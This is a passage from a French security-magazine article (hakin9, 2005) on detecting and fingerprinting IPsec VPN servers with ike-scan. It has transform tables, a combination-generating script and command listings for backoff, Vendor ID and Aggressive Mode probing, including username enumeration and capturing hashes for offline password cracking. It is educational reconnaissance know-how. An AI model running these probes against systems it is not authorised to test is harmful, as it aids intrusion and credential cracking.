possibles et certaines de ces valeurs
sont plus rpandues que les autres, il
est donc possible de dtecter la plupart
des systmes au moyen d'un nombre
raisonnable des transformations. Les
Tableaux de 2 5 numrent les
valeurs d'attributs de transformations,
dfnies dans les diffrentes procdu-
res RFC IPsec et IETF.
Si vous regardez les valeurs
courantes dans les tables d'attributs
de transformations, vous consta-
Tableau 1. Le bloc transform par dfaut utilis par le ike-scan en Mode
Principal (Main Mode)
No Algo-
rithme de
chiffre-
ment
Algorithme
de hachage
Mthode
d'authentif-
cation
Groupe Dif-
fe-Hellman
Dure
(en se-
condes)
1 Triple-
DES
SHA1 Cl pr-par-
tage
2 (1024 bits) 28800
2 Triple-
DES
MD5 Cl pr-par-
tage
2 (1024 bits) 28800
3 DES SHA1 Cl pr-par-
tage
2 (1024 bits) 28800
4 DES MD5 Cl pr-par-
tage
2 (1024 bits) 28800
5 Triple-
DES
SHA1 Cl pr-par-
tage
1 (768 bits) 28800
6 Triple-
DES
MD5 Cl pr-par-
tage
1 (768 bits) 28800
7 DES SHA1 Cl pr-par-
tage
1 (768 bits) 28800
8 DES MD5 Cl pr-par-
tage
1 (768 bits) 28800
Listing 1. Sortie initiale de la dtection
$ ike-scan --fle=target-ip-addresses.txt
Starting ike-scan 1.7 with 256 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.5 Notify message 14 (NO-PROPOSAL-CHOSEN)
10.0.0.6 Main Mode Handshake returned SA=(Enc=3DES Hash=MD5
Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000
(IKE Fragmentation)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
Ending ike-scan 1.7: 256 hosts scanned in 19.22 seconds (13.32 hosts/sec).
17 returned handshake; 32 returned notify
Tableau 2. Valeurs d'attribut de transformations pour l'algorithme de
chiffrement
Valeur Algorithme de
chiffrement
Commentaires
1 DES Courant
2 IDEA Trs rare
3 Blowfsh Rare
4 RC5 Trs rare
5 Triple DES Courant
6 CAST Rare
7 AES Courant sur les systmes modernes, trois
longueurs de cl : 128, 192 et 256.
8 Camellia Trs rare
Dtection des VPN
hakin9 N 6/2005 www.hakin9.org 49
terez qu'il y a cinq algorithmes de
chiffrement (AES compte pour trois
car il a trois longueurs diffrentes de
cl), deux algorithmes de hachage,
quatre mthodes d'authentifcation
et trois groupes Diffe-Hellman. Tout
cela vous donne un total de 120 com-
binaisons de ces valeurs courantes,
ce qui n'est pas trs lev. Il est donc
possible de toutes les essayer.
Ike-scan permet de modifer la
mthode d'authentifcation au moyen
de l'option --auth dans le bloc de
transform par dfaut. Autrement, il
est possible de spcifer une trans-
formation courante l'aide de l'op-
tion --trans et d'utiliser cette option
plusieurs fois afn d'ajouter un nom-
bre arbitraire des transformations
la charge de SA. Puisqu'il est
possible de spcifer un nombre ar-
bitraire de transformations au moyen
de l'option --trans, vous serez pro-
bablement tents de spcifer les
cent vingt combinaisons. Cependant
cela ne fonctionnera pas car de nom-
breuses implmentations IPsec limi-
tent le nombre de transformations
traiter. Le nombre maximal est
diffrent d'un fabricant l'autre ; par
exemple, les solutions Checkpoint
n'acceptent pas plus de vingt trans-
formations. Toutefois, il faut proc-
der de nombreux scans, contenant
chacun un nombre raisonnable de
transformations (reportez vous aussi
l'encadr Autres options utiles pour
dtecter les VPN).
Une manire de le faire consiste
crer un script charg de gnrer
toutes les combinaisons de trans-
formations et utiliser ensuite le
xargs pour lancer le ike-scan autant
de fois que ncessaire avec un
nombre maximal de transformations
spcif. Le Listing 2 prsente un
exemple d'un script utiliser afn
de gnrer une liste de transforma-
tions avec des attributs courants.
Comme le script s'appelle generate-
transforms.sh, vous l'utiliserez pour
lancer le ike-scan avec vingt trans-
formations au plus :
# generate-transforms.sh \
| xargs --max-lines=20 ike-scan \
--fle=target-ip-addresses.txt
Tableau 3. Valeurs d'attribut de transformations pour l'algorithme de hachage
Valeur Algorithme de hachage Commentaires
1 MD5 Courant
2 SHA1 Courant
3 Tiger Rare
4 SHA2-256 Rare
5 SHA2-384 Rare
6 SHA2-512 Rare
Tableau 4. Valeurs d'attribut de transformations pour la mthode
d'authentifcation
Valeur Mthode
d'authentifca-
tion
Commentaires
1 Cl pr-partage Courant
2 Signature DSS Rare
3 Signature RSA Courant
4 Chiffrement RSA Rare
5 Chiffrement RSA
rvis
Rare
6 Chiffrement
ElGamel
Rare
7 Chiffrement El-
Gamel rvis
Rare
8 Signature
ECDSA
Rare
64221 Mode Hybride Courant sur les systmes Checkpoint
65001 XAUTH Courant sur les systmes d'accs distance
Tableau 5. Valeurs d'attribut de transformations pour le groupe Diffe-Hellman
Valeur Groupe Diffe-Hellman Commentaires
1 MODP 768 Courant
2 MODP 1024 Courant
3 EC2N 155 Rare
4 EC2N 185 Rare
5 MODP 1536 Courant
6 EC2N 163 Rare
7 EC2N 163 Rare
8 EC2N 183 Rare
9 EC2N 183 Rare
10 EC2N 409 Rare
11 EC2N 409 Rare
12 EC2N 571 Rare
13 EC2N 571 Rare
14 MODP 2048 Rare
15 MODP 3072 Rare
16 MODP 4096 Rare
17 MODP 6144 Rare
18 MODP 8192 Rare
hakin9 N 6/2005 www.hakin9.org
Fiche technique
50
Une mthode alternative, plus rapide
mais moins approfondie, consiste
utiliser le bloc de transform standard
et changer la mthode d'authen-
tifcation de la cl pr-partage
(Pre-Shared Key) contre une autre
option courante. Pour ce faire, vous
pouvez vous servir de l'option auth,
par exemple : ike-scan --auth=3
--fle=target-ip-addresses.txt utili-
sera le bloc de transform standard
avec la mthode d'authentifcation
pour la signature RSA. Cette m-
thode est tonnamment effcace et
elle est recommande si vous n'avez
pas le temps de vrifer toutes les
combinaisons rpandues d'attributs
de transformations.
Fingerprinting
de VPN IPsec
Une fois que vous avez dtect quel-
ques serveurs VPN, l'tape suivante
consiste trouver le plus d'informa-
tions possible sur leur sujet. En utilisant
les techniques de prise d'empreinte
mentionnes ci-dessous, vous pouvez
souvent dterminer le fabricant et le
modle du serveur VPN ; vous pouvez
galement dterminer le numro de
version du logiciel. Cette information
peut tre prcieuse pour des intrus.
En effet, ils peuvent s'en servir afn
de chercher des failles connues, lies
ce type de VPN, ou de tlcharger
le logiciel client VPN appropri et d'es-
sayer de deviner les logins et les mots
de passe. Le serveur VPN sert sou-
vent de pare-feu. Dans ce cas, la prise
d'empreintes identifera galement le
type du pare-feu.
Une seule technique de prise d'em-
preintes sufft souvent pour identifer
une implmentation du serveur VPN.
Cependant, lorsque vous ne pouvez
obtenir une correspondance dfnitive
avec aucune technique, la combinai-
son des mthodes vous fournira en
gnral assez d'informations pour d-
terminer l'implmentation ou au moins,
faire une bonne supposition.
Obtenir un message de
handshake IKE
La premire tape consiste es-
sayer de rcuprer un message
de prise de contact IKE (en anglais
handshake) de tous les systmes
que vous voulez analyser et noter
les attributs de transformations ac-
ceptables. Si vous avez dj reu un
tel message l'tape de la dtection,
vous ne devez noter que les attributs
de transformations partir du pay-
load SA. Si vous n'avez cependant
reu qu'un message de notifcation,
vous devez essayer d'obtenir un
message de prise de contact avant
de passer la prise d'empreintes.
Listing 2. Script pour gnrer une liste de transformations avec des
attributs courants
#!/bin/sh
# Encryption algorithms:
# DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods:
# Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffe-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
for ENC in $ENCLIST
do
for HASH in $HASHLIST
do
for AUTH in $AUTHLIST
do
for GROUP in $GROUPLIST
do
echo "--trans=$ENC,$HASH,$AUTH,$GROUP"
done
done
done
done
Autres options utiles pour dtecter les VPN
Les options du ike-scan suivantes pourront vous tre utiles lorsque vous procdez la
dtection du serveur VPN, en particulier, si vous traitez une grande liste des adresses
IP cibles :
--retry spcife le nombre maximal de tentatives envoyes un hte qui ne
ragit pas. Par dfaut, le nombre s'lve trois mais vous pouvez le rduire un,
moins qu'un paquet se soit perdu entre vous et la cible. Si vous le rduisez, le scan
sera plus rapide mais moins vident,
--interval spcife l'intervalle en millisecondes entre les paquets partis. Cet
intervalle est par dfaut de 75 ms. Ce chiffre correspond la consommation de la
bande passante partant de 38800 bits par seconde pour un paquet dont la taille
par dfaut est de 364 octets. Il vous est possible de le diminuer afn d'acclrer le
balayage si vous disposez d'une bande passante suffsante. Il vous est galement
possible de l'augmenter afn de rendre le balayage plus furtif. N'oubliez pas que
la taille du paquet peut changer en fonction d'autres options. Vous devez donc le
prendre en considration quand vous calculez la consommation de la bande pas-
sante pour un intervalle donn,
--random randomise l'ordre dans lequel les cibles sont scannes.
Il existe de nombreuses autres options ; pour obtenir une liste complte, il sufft de lan-
cer ike-scan --help.
Dtection des VPN
hakin9 N 6/2005 www.hakin9.org 51
Pour obtenir alors un message de
handshake, il est ncessaire d'essayer
toutes les combinaisons des attributs
de transformations jusqu' ce que
vous trouviez celui qui est acceptable.
Le processus est le mme que celui
utilis lors de l'tape de la dtection,
pour dtecter les systmes VPN qui ne
rpondaient pas au bloc de transform
standard. La seule diffrence consiste
au fait que vous traitez un nombre plus
restreint de systmes et que vous pou-
vez pourtant essayer plus d'attributs.
Une fois un message de prise
de contact IKE reu, vous utilise-
rez la transformation acceptable
lors des prochains scans. titre
d'exemple, si la charge de SA retour-
ne tait la suivante : SA=(Enc=AES
KeyLength=256 Hash=SHA1 Group=5:
modp1536 Auth=PSK LifeType=Seconds
LifeDuration=28800), vous spcife-
rez alors --trans=7/256,2,1,5.
Fingerprinting
de backoff de UDP
IKE se sert du transport UDP qui
n'est pas fable. Il doit toutefois
implmenter sa propre stratgie de
retransmission pour s'occuper des
paquets perdus. Puisque les RFC de
IPsec ne spcifent pas les dtails de
la stratgie de backoff, tous les dis-
tributeurs IPsec inventent en gnral
leurs propres schmas. Vous pouvez
vous servir de diffrentes stratgies
de backoff pour effectuer la prise
d'empreintes d'un serveur VPN.
Pour obtenir les dtails sur la
forme du backoff, vous envoyez un
paquet IKE avec une transforma-
tion acceptable mais ne rpondez
aucune des rponses du serveur
VPN. Le serveur considrera que
le paquet s'tait perdu et ressayera
suivant sa stratgie de backoff. En
enregistrant l'heure d'arrive de
chaque paquet en provenance du
serveur et en calculant la diffrence
entre les heures, vous pouvez dter-
miner la stratgie de backoff et par
consquent l'empreinte du serveur.
La Figure 3 prsente l'change
ordinaire de paquets de IKE en Mode
Principal entre un client VPN et un ser-
veur VPN. La Figure 4 montre l'chan-
ge de paquets lorsque le client ignore
les rponses du serveur. Vous pouvez
constater que le temps de latence de
la connexion entre le client et le ser-
veur n'a pas d'impact sur la forme de
backoff observe par le client car vous
calculez les diffrences entre le temps
des paquets.
Ike-scan permet d'obtenir la
forme du backoff du serveur VPN. Il
essayera galement de faire corres-
pondre les motifs reus avec une base
de donnes des motifs connus. Pour
procder la technique de fngerprin-
ting de backoff, il est ncessaire de
spcifer l'option -showbackoff. Cette
option permettra ike-scan d'enre-
gistrer les temps de tous les paquets
de rponses et d'attendre soixante
secondes aprs le dernier paquet pour
s'assurer qu'il les ait tous vus. Ensuite,
il affche les dtails des temps et es-
saye de faire correspondre les formes.
Il est en effet ncessaire d'attendre
que tous les paquets soient envoys
et d'attendre quelques minutes sup-
plmentaires pour tre sr qu'aucun
autre paquet n'arrive. Le fnger-
printing de backoff prend entre une
et deux minutes.
Le Listing 3 prsente la technique
d'empreinte de backoff sur quatre
diffrents types de serveur VPN.
Voici ce que signifent les colonnes
dans les formes de backoff :
IP Address l'adresse IP du ser-
veur VPN laquelle correspond
la forme,
No. le numro du paquet de
rponse de l'hte et le premier
paquet de rponse qui porte le
numro 1,
Recv time l'heure o le paquet
de rponse est reu ; cette heure
s'affche sous forme des secon-
des et microsecondes depuis mi-
nuit, le 1er janvier 1970 (utilise
par les systmes *NIX),
Delta Time la diffrence entre
le moment o ce paquet de r-
ponse a t reu et le moment o
le paquet prcdent de rponse a
t reu (cette diffrence s'lve
toujours zro pour le premier
paquet de rponse) ; la diff-
rence s'affche en secondes et
microsecondes.
Vous pouvez constater que tous les
quatre serveurs ont rpondu avec
une syntaxe diffrentes chaque fois,
et dans chaque cas, vous avez t
capables de dterminer le type du ser-
veur VPN. Vous avez du galement
remarquer que certains des serveurs
ont rpondu avec des payload VID
supplmentaires : il s'agit des payload
de Vendor ID (ils seront analyss dans
la suite de cet article).
Figure 3. change ordinaire de paquets IKE en Mode Principal
Figure 4. Retransmission IKE lorsque le client ne rpond pas
hakin9 N 6/2005 www.hakin9.org
Fiche technique
52
Les dures observes peuvent
tre diffrentes d'une fraction de se-
conde que les valeurs utilises dans
l'algorithme de backoff cause des dif-
frentes dures d'attentes, des retards
programms sur le serveur et d'autres
questions. Pourtant, si vous arrondis-
sez les retards observs la seconde
prs, vous pouvez remarquer que les
quatre formes sont les suivants :
Checkpoint Firewall-1 0, 2, 2, 2,
2, 2, 2, 4, 4, 4, 4, 4,
Cisco VPN Concentrator 0, 8,
8, 8,
Nortel Contivity 0, 16, 16, 16,
Microsoft Windows 0, 1, 2, 4, 8,
16, 32.
Pour voir d'autres exemples de for-
mes de backoff, regardez le fchier
ike-backoff-patterns inclus dans la
distribution ike-scan. Actuellement,
ce fchier contient vingt-quatre for-
mes de backoff diffrentes.
Fingerprinting du Vendor ID
Le protocole IKE dfnit un payload
facultatif de Vendor ID (VID) qui
peut tre inclus dans le paquet de la
phase 1 de IKE et peut contenir des
donnes arbitraires. Ce payload est
utilis par les fabricants pour chan-
ger les dtails sur les extensions de
proprit ou pour rorganiser leurs
propres implmentations. Les don-
nes dans le payload sont souvent
des chanes texte chiffrs via MD5.
Vous pouvez vous servir de
n'importe quelle charge de Vendor
ID envoye par le serveur VPN pour
pouvoir l'identifer. Ike-scan affchera
automatiquement toute charge de
Vendor ID reue et il essayera de les
comparer avec une base de donnes
des formes connues de Vendor ID.
Il permet galement aux charges de
Vendor ID d'tre ajoutes au paquet
sortant l'aide de l'option --vendor.
Tous les serveurs VPN n'envoient
pas de Vendor ID. Ceux qui le font
ne les envoient qu' la rception d'un
Vendor ID spcifque ou qu'en mode
agressif IKE (que nous allons analyser
dans la suite de cet article). Si un ser-
veur VPN n'envoie pas de Vendor ID et
vous pensez savoir ce que c'est, cela
Listing 3. Exemples de fngerprinting de backoff en UDP
$ ike-scan --trans=5,2,1,2 --showbackoff 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.1 1 1121251508.773117 0.000000
10.0.0.1 2 1121251510.772474 1.999357
10.0.0.1 3 1121251512.775259 2.002785
10.0.0.1 4 1121251514.777952 2.002693
10.0.0.1 5 1121251516.780746 2.002794
10.0.0.1 6 1121251518.783504 2.002758
10.0.0.1 7 1121251520.786298 2.002794
10.0.0.1 8 1121251524.791781 4.005483
10.0.0.1 9 1121251528.797329 4.005548
10.0.0.1 10 1121251532.802822 4.005493
10.0.0.1 11 1121251536.808370 4.005548
10.0.0.1 12 1121251540.813874 4.005504
10.0.0.1 Implementation guess: Firewall-1 4.1/NG/NGX
$ ike-scan --trans=5,1,1,2 --showbackoff 10.0.0.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.2 Main Mode Handshake returned SA=(Enc=3DES Hash=MD5
Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.2 1 1121252105.954742 0.000000
10.0.0.2 2 1121252113.946698 7.991956
10.0.0.2 3 1121252121.944037 7.997339
10.0.0.2 4 1121252129.945608 8.001571
10.0.0.2 Implementation guess: Cisco VPN Concentrator
$ ike-scan --trans=5,2,1,2 --showbackoff 10.0.0.3
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.3 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.3 1 1121252226.796701 0.000000
10.0.0.3 2 1121252242.606684 15.809983
10.0.0.3 3 1121252258.419674 15.812990
10.0.0.3 4 1121252274.559528 16.139854
10.0.0.3 Implementation guess: Nortel Contivity
$ ike-scan --trans=5,2,3,2 --showbackoff 10.0.0.4
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1
Group=2:modp1024 Auth=RSA_Sig LifeType=Seconds
LifeDuration(4)=0x00007080)
VID=1e2b516905991c7d7c96fcbfb587e46100000004
(Windows-2003-or-XP-SP2)
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
VID=90cb80913ebb696e086381b5ec427b1f
(draft-ietf-ipsec-nat-t-ike-02\n)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.4 1 1121252667.865074 0.000000
10.0.0.4 2 1121252668.971457 1.106383
10.0.0.4 3 1121252670.973030 2.001573
10.0.0.4 4 1121252674.972099 3.999069
10.0.0.4 5 1121252682.966370 7.994271
10.0.0.4 6 1121252698.968920 16.002550
10.0.0.4 7 1121252730.975145 32.006225
10.0.0.4 Implementation guess: Windows 2000, 2003 or XP
Dtection des VPN
hakin9 N 6/2005 www.hakin9.org 53
vaut alors la peine de sniffer le trafc
sortant de l'application client VPN as-
socie l'aide de tcpdump ou Ethereal
pour observer tous les Vendor ID, Si
vous envoyez ce Vendor ID au ser-
veur, il rpondra en gnral avec son
propre Vendor ID.
Le Listing 4 prsente les payloa-
des Vendor ID retourns par le ser-
veur IPsec Microsoft Windows 2003.
Le premier VID est le plus intressant :
c'est un hachage MD5 d'une chane
MS NT5 ISAKMPOAKLEY avec le numro
quatre joint en tant que valeur 32
bits en format big-endian. Toutes les
implmentations IPsec de Microsoft
envoient le mme hachage mais les
diffrentes versions des fentres in-
cluent des numros diffrents la fn
du hachage. Cette dmarche permet
de limiter les possibilits de la version
du logiciel. Voici les valeurs connues
de ike-scan :
00000002 Windows 2000 Server,
00000003 Windows XP SP1,
00000004 Windows 2003 Server
et Windows XP SP2.
Le Listing 5 prsente un Checkpoint
Firewall-1. Ce serveur VPN retourne-
ra un payload Vendor ID seulement
s'il envoie une charge VID contenant
f4ed19e0c114eb516faaac0ee37daf280
7b4381f ; ce sont les vingt premiers
octets du VID envoy par tous les
produits Checkpoint. Vous voyez
que le serveur retourne un Vendor ID
qui non seulement l'identife comme
Checkpoint Firewall-1 (car le VID
commence par les mmes vingt oc-
tets) mais en plus, il identife la ver-
sion exacte du logiciel dans les vingt
octets restants. Dans ce cas l, la
cible se sert de Checkpoint Firewall-
1 NG AI R54. Reportez-vous au site
Web http://www.nta-monitor.com/
news/ checkpoi nt2004/ i ndex.htm
pour plus de dtails sur la structure
de ce Vendor ID.
Enfn, le Listing 6 prsente la
charge de Vendor ID retourne par
le routeur VPN Nortel Contivity. Ce
systme retournera une charge VID
seulement si elle est envoye dans
Listing 4. Charges de Vendor ID retournes par Windows 2003
$ ike-scan --trans=5,2,3,2 --multiline 10.0.0.4
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.4 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=RSA_Sig
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=1e2b516905991c7d7c96fcbfb587e46100000004 (Windows-2003-or-XP-SP2)
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
VID=90cb80913ebb696e086381b5ec427b1f
(draft-ietf-ipsec-nat-t-ike-02\n)
Listing 5. Charge de Vendor ID retourne par Checkpoint Firewall-1
$ ike-scan --trans=5,2,1,2 \
--vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f \
--multiline 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138
c000000000000000018a00000 (Firewall-1 NG AI R54)
Listing 6. Charge de Vendor ID retourne par Nortel Contivity
$ ike-scan --trans=5,2,1,2 --vendor=00 --multiline 10.0.0.3
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.3 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=424e455300000009 (Nortel Contivity)
Figure 5. Paquet de Mode Agressif
IKE avec un bloc de transform par
dfaut
Listing 7. Rponse en Mode Agressif en provenance de Cisco VPN
Concentrator
$ ike-scan --aggressive --multiline --id=fnance_group 10.0.0.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.2 Aggressive Mode Handshake returned
SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK
LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=10.0.0.2)
Hash(16 bytes)
VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
VID=1f07f70eaa6514d3b0fa96542a500306 (Cisco VPN Concentrator)
hakin9 N 6/2005 www.hakin9.org
Fiche technique
54
le paquet de requte. Toutefois,
contrairement Checkpoint, le type
de Vendor ID donn importe peu
Nortel, vous envoyez donc un
seul octet avec une valeur zro. Le
Vendor ID retourn comporte quatre
octets qui sont une chane de texte
BNES suivie du numro neuf en tant
qu'une valeur de 32 bits en format
big-endian. BNES signife proba-
blement Bay Networks Enterprise
Switch, correspondant au nom du
produit avant que Bay Networks soit
achet par Nortel ; le numro la fn
reprsente probablement la version
du logiciel.
Mode agressif IKE
Dans tous les exemples, on s'est jus-
qu' prsent servi du Mode Principal
IKE support en principe par tous les
serveurs VPN. Certains serveurs
VPN, en particulier les serveurs d'ac-
cs distant, supportent galement le
mode agressif. Si un serveur sup-
porte ce mode, vous pouvez alors
vous en servir pour obtenir des infor-
mations supplmentaires. Le Mode
agressif est en gnral utilis pour
un accs distant avec une authenti-
fcation par cl pr-partage.
La Figure 5 prsente la structure
du premier paquet du Mode agressif
IKE. Vous pouvez constater qu'il
est plus complexe que le paquet
de Mode Principal montr dans la
Figure 2 car il contient trois payloads
supplmentaires :
Key Exchange valeur publique de
l'algorithme Diffe-Hellman,
Nonce donnes alatoires pour
dmontrer la vivacit et la pr-
vention de reproduction,
Identifcation identit du pair.
Puisque le paquet de Mode Agres-
sif contient la valeur publique de
l'algorithme Diffe-Hellman, seul un
groupe Diffe-Hellman peut tre sp-
cif dans la proposition. Par cons-
quent, le bloc de transform ike-scan
standard est diffrent du bloc utilis
avec le Mode Agressif. Le Tableau 6
prsente en dtails les transforma-
tions dans un bloc de transformation
standard du Mode Agressif.
Tableau 6. Bloc de transform par dfaut utilis par ike-scan en Mode Agressif
Algo-
rithme de
chiffre-
ment
Algorithme
de hachage
Mthode
d'authentif-
cation
Groupe Dif-
fe-Hellman
Dure
(en se-
condes)
1 Triple-
DES
SHA1 Cl pr-par-
tage
2 (1024 bits) 28800
2 Triple-
DES
MD5 Cl pr-par-
tage
2 (1024 bits) 28800
3 DES SHA1 Cl pr-par-
tage
2 (1024 bits) 28800
4 DES MD5 Cl pr-par-
tage
2 (1024 bits) 28800
Listing 8. Rponse en Mode Agressif en provenance du pare-feu de
Cisco PIX
$ ike-scan --trans=7/256,2,1,2 --aggressive --multiline 194.70.91.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
194.70.91.2 Aggressive Mode Handshake returned
SA=(Enc=AES KeyLength=256 Hash=SHA1 Group=2:modp1024 Auth=PSK
LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection)
VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
VID=11f27f551d0760dfc9ca6f5670fe5291
KeyExchange(128 bytes)
ID(Type=ID_FQDN, Value=pix520-internet.company.com)
Nonce(20 bytes)
Hash(20 bytes)
Listing 9. Rponses diffrentes concernant l'attribut relatif la longueur
de la cl avec des chiffres longueur fxe
$ ike-scan --trans=5/27,2,1,2 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK
Group=2:modp1024 KeyLength=27 LifeType=Seconds
LifeDuration(4)=0x00007080)
$ ike-scan --trans=5/27,1,1,2 10.0.0.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
$ ike-scan --trans=5/27,2,1,2 10.0.0.3
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.3 Notify message 14 (NO-PROPOSAL-CHOSEN)
$ ike-scan --trans=5/27,2,3,2 10.0.0.4
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1
Group=2:modp1024 Auth=RSA_Sig LifeType=Seconds
LifeDuration(4)=0x00007080)
VID=1e2b516905991c7d7c96fcbfb587e46100000004
(Windows-2003-or-XP-SP2)
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
VID=90cb80913ebb696e086381b5ec427b1f
(draft-ietf-ipsec-nat-t-ike-02\n)
Dtection des VPN
hakin9 N 6/2005 www.hakin9.org 55
Il est parfois diffcile de faire
en sorte qu'un serveur VPN envoie
un message de prise de contact
au moyen du Mode Agressif IKE. En
effet, de nombreux serveurs ne rpon-
dront pas tant qu'un ID n'est pas fourni
dans le payload d'identifcation. Cet ID
est en gnral soit un login de l'utilisa-
teur soit une adresse de messagerie
lectronique. En fait, seule la rponse
aux ID valides introduit une vulnrabi-
lit permettant de vrifer distance
l'existence d'un login (en anglais user-
name enumeration vulnerability) car
elle vous permet de distinguer les
logins valides et non valides.
Le Listing 7 prsente une rpon-
se en Mode Agressif en provenance
de Cisco VPN Concentrator. Dans
le cas de ce systme, vous aurez
besoin de spcifer un login valide
dans l'identit de la charge. Vous
remarquerez que la rponse contient
plusieurs charges intressantes :
ID le serveur se sert de son
adresse IP dans la charge d'iden-
tit ; si le serveur se trouve der-
rire un priphrique NAT, cela
va rvler son adresse relle,
Hash c'est un hachage HMAC
bas sur MD5 ; vous pouvez
l'utiliser afn de procder une
attaque hors ligne consistant
casser les mots de passe,
VID un total de cinq charges de
Vendor ID est retourn, ce qui
identife le systme comme tant
un Cisco VPN Concentrator.
Le Listing 8 prsente une rponse en
Mode Agressif en provenance d'un
pare-feu de Cisco PIX. Vous n'avez
pas besoin de fournir un ID valide
avec ce type de systme. Il se sert
de son nom d'hte pour son ID et le
nom choisi vous donne dj l'ide du
fabricant et du modle du systme.
Si vous regardez attentivement, vous
verrez que le VPN Concentrator pla-
ce ses payload dans l'ordre diffrent
dans le PIX : le VPN Concentrator
envoie SA, Key Exchange, Nonce, ID,
Hash, VID x 5, alors que PIX envoie
SA, VID x 4, Key Exchange, ID, Nonce,
Hash. Cette diffrence vous indique
que mme si les deux systmes
proviennent du mme fabricant, ils
se basent sur des implmentations
diffrentes de IPsec.
Diffrences dans le
comportement
Les diffrences dans le comportement
des implmentations IPsec diffrentes
avec les stratgies de backoff ainsi
que l'ordre des charges dans le paquet
IKE ont t dj abordes. Cette par-
tie prsente quelques exemples des
diffrences qui peuvent tre utilises
pour dtecter les implmentations
IPsec. Certaines diffrences ne sont
pas compltement dfnies ; en ce qui
concerne les autres, les procdures
RFC peuvent tre interprtes de
faons diffrentes et il y en aussi qui
n'ont aucun sens.
Longueur de cl de
chiffrement pour les chiffres
avec les cls de longueur fxe
L'attribut de transformation relatif la
longueur de la cl est utilis pour les
algorithmes de chiffrement avec les
cls de longueur variable, comme
AES. Il ne faut pas l'utiliser dans les
algorithmes de chiffrement avec les
cls de longueur fxe, telles que DES
et Triple-DES. D'aprs la procdure
RFC 2409 : Il NE FAUT PAS utiliser
cet attribut lorsque l'algorithme de
chiffrement spcif se sert d'une cl
de longueur fxe. On considr que les
implmentations diffrentes grent
cette situation de faons diffrentes :
certaines rejettent la transformation,
d'autres ignorent l'attribut relatif la
longueur de la cl et d'autres encore
acceptent cet attribut.
Le Listing 9 prsente la rponse
de trois systmes diffrents concer-
nant l'attribut relatif la longueur
de la cl, en spcifant une valeur
absurde de vingt sept avec un triple
DES, qui se sert d'une cl longueur
fxe. Si vous l'observez attentive-
ment, vous remarquerez les compor-
tements suivants :
Checkpoint Firewall-1 accepte
la transformation et retourne la
mme longueur de la cl en r-
ponse,
Cisco VPN Concentrator ne
rpond pas du tout,
Nortel Contivity rpond par
un message de notifcation No
Proposal Chosen (aucune propo-
